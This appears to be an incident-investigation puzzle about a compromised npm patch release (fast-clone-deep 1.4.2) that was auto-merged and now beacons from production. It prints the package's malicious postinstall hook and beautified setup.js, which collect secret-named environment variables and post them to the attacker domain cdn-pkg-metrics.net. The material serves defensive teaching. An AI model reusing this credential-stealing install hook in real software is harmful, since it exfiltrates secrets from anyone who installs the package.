The lockfile swears nothing changed
Version pinned, hash verified, CI green. Prod is still phoning a domain registered last week.
The scene
Paged: 09:41 UTC — egress alert: api-03 made 61 DNS lookups and HTTPS POSTs in the last hour to cdn-pkg-metrics.net, a domain the asset inventory has never heard of.
Egress log (rolling):
14:02 api-03 -> cdn-pkg-metrics.net:443 POST /v2/beat bytes=1,892
14:03 api-03 -> cdn-pkg-metrics.net:443 POST /v2/beat bytes=1,881
14:04 api-03 -> cdn-pkg-metrics.net:443 POST /v2/beat bytes=1,907
14:17 api-03 -> cdn-pkg-metrics.net:443 POST /v2/payload bytes=84,103The /v2/beat bodies are gzipped JSON — environment variable names (not values), host, pid, build id. The /v2/payload bodies every 15 minutes are larger and can't be decoded on the box. Names in the decoded beats include STRIPE_SECRET_KEY, DATABASE_URL, SESSION_SIGNING_KEY.
BUILD_ID=rel-2026.46.2 — deployed Tuesday. The beacon's first DNS query is the same minute that release finished rolling out. api-01, api-02, staging-01, and the CI builders show the same pattern; api-03 is just the host that tripped the counter first.
Owning process:
$ ss -tp | grep cdn-pkg-metrics
ESTAB api-03:41982 -> 104.21.x.x:443 users:(("node",pid=4412,fd=19))
$ ps -o ppid= -p 4412 | xargs ps -fp
report-worker cmd: node dist/report.js (started at deploy)Dependency trail. git log -p bun.lock in the release window shows exactly one merge:
chore(deps): bump fast-clone-deep from 1.4.1 to 1.4.2
fast-clone-deep: ^1.4.1 → ^1.4.2 (patch)
integrity: sha512-8f3c… → sha512-77a1…
merged by depbot[bot] — auto-merge rules: patch + CI green
(note: the 7-day cooldown is disabled for this package)fast-clone-deep is a transitive dep of the report builder: ~14k weekly downloads, single maintainer, last GitHub commit 11 months ago. depbot.yml excerpt:
auto_merge:
allow: [patch]
cooldown_days: 7
overrides:
fast-clone-deep: { cooldown_days: 0 } # "hot-fix lane" — added in MarchRegistry checks:
$ npm view fast-clone-deep versions
1.3.0 1.4.0 1.4.1 1.4.2
$ npm view fast-clone-deep time.modified.1.4.2
2026-11-06T02:31:19.000Z # published 9 days ago
$ npm view fast-clone-deep maintainers
[ 'orbitdev' ]
$ npm audit
found 0 vulnerabilities
$ bun install --frozen-lockfile
✔ integrity verified (sha512-77a1…)The lockfile hash and the tarball the registry serves agree byte-for-byte. Whatever 1.4.2 is, the registry intends to serve it. No provenance badge on the publish; npm lists the publisher as orbitdev — same username — but the GitHub repo's newest tag is v1.4.1. No release notes, no commits since March, and the maintainer's last public activity is a gist comment saying he's offline until December. npm's public event feed shows token created on his account Nov 05 from an ASN nowhere near his usual.
The tarball:
$ npm pack fast-clone-deep@1.4.2 && tar -tzf fast-clone-deep-1.4.2.tgz
package/package.json
package/lib/index.js
package/lib/setup.js # does not exist in 1.4.1
package/README.md
package/LICENSEpackage.json diff vs 1.4.1:
"main": "lib/index.js",
+ "scripts": { "postinstall": "node -e \"require('./lib/setup').sync()\"" }lib/index.js first line, new in 1.4.2: require('./setup').sync();
lib/setup.js, beautified (shipped as 340 minified chars):
const K = /key|token|secret|pass|cred/i;
function collect() {
return Object.keys(process.env).filter(k => K.test(k))
.reduce((o, k) => (o[k] = process.env[k], o), {});
}
function sync() {
const d = JSON.stringify({ env: collect(), host: os.hostname(),
pid: process.pid, build: process.env.BUILD_ID });
setInterval(() => post('https://cdn-pkg-metrics.net/v2/beat', d), 60_000);
setInterval(() => post('https://cdn-pkg-metrics.net/v2/payload', d), 900_000);
}Domain: cdn-pkg-metrics.net registered 2026-11-03 — three days before 1.4.2 was published. WHOIS privacy on; the A record is a VPS hosting nothing else.
npm diff between the two versions (truncated):
diff --git a/package/lib/index.js b/package/lib/index.js
@@ -1,2 +1,3 @@
+require('./setup').sync();
function clone(v) { …
diff --git a/package/lib/setup.js b/package/lib/setup.js
new file mode 100644
+const K=/key|token|secret|pass|cred/i;…What it's not:
-
Not lockfile tampering —
bun install --frozen-lockfileverifies, and the same tarball comes back from three different resolver IPs. -
Not a CI leak — the beacon ships in prod
dist/too, and the minifiedsetup.jssits inside the packaged artifact. -
Not a typosquat — the name, owner, and history are all correct. It's the real package, a new version, from the real account.
-
Installing 1.4.1 cleanly: no
setup.js, no postinstall, no beacon. -
The bump PR's own CI egress log shows the same domain contacted once during
bun installon Nov 12 — the postinstall ran in CI too. -
The dep bump was the only merge Tuesday; the beacon's first DNS lookup is the release's rollout minute.
-
The same lockfile entry is baked into
dev,staging, andprodimages — all three environments are beaconing. -
No other dependency in the tree has a
scriptsblock;fast-clone-deepis the only one that gained one this cycle. -
depbotmerged four other patch bumps this month — all still on their cooldown — and each tarball diffs clean. -
The maintainer's GitHub security log shows a new SSH key added Nov 05 too; his npm account had TOTP enabled, but
token createdevents bypass it once a session cookie is stolen. -
fast-clone-deep@1.4.2has already propagated into the lockfiles ofworkspaceandcollabbuilds too — same depbot config, same outcome. The beacon on those hosts starts whenever their next deploy lands. -
The decoded beat's field order —
env, host, pid, build— matches the minifiedcollect()exactly, key by key.
Diagnoses — hidden until the incident closes
Sign in to post your root-cause diagnosis.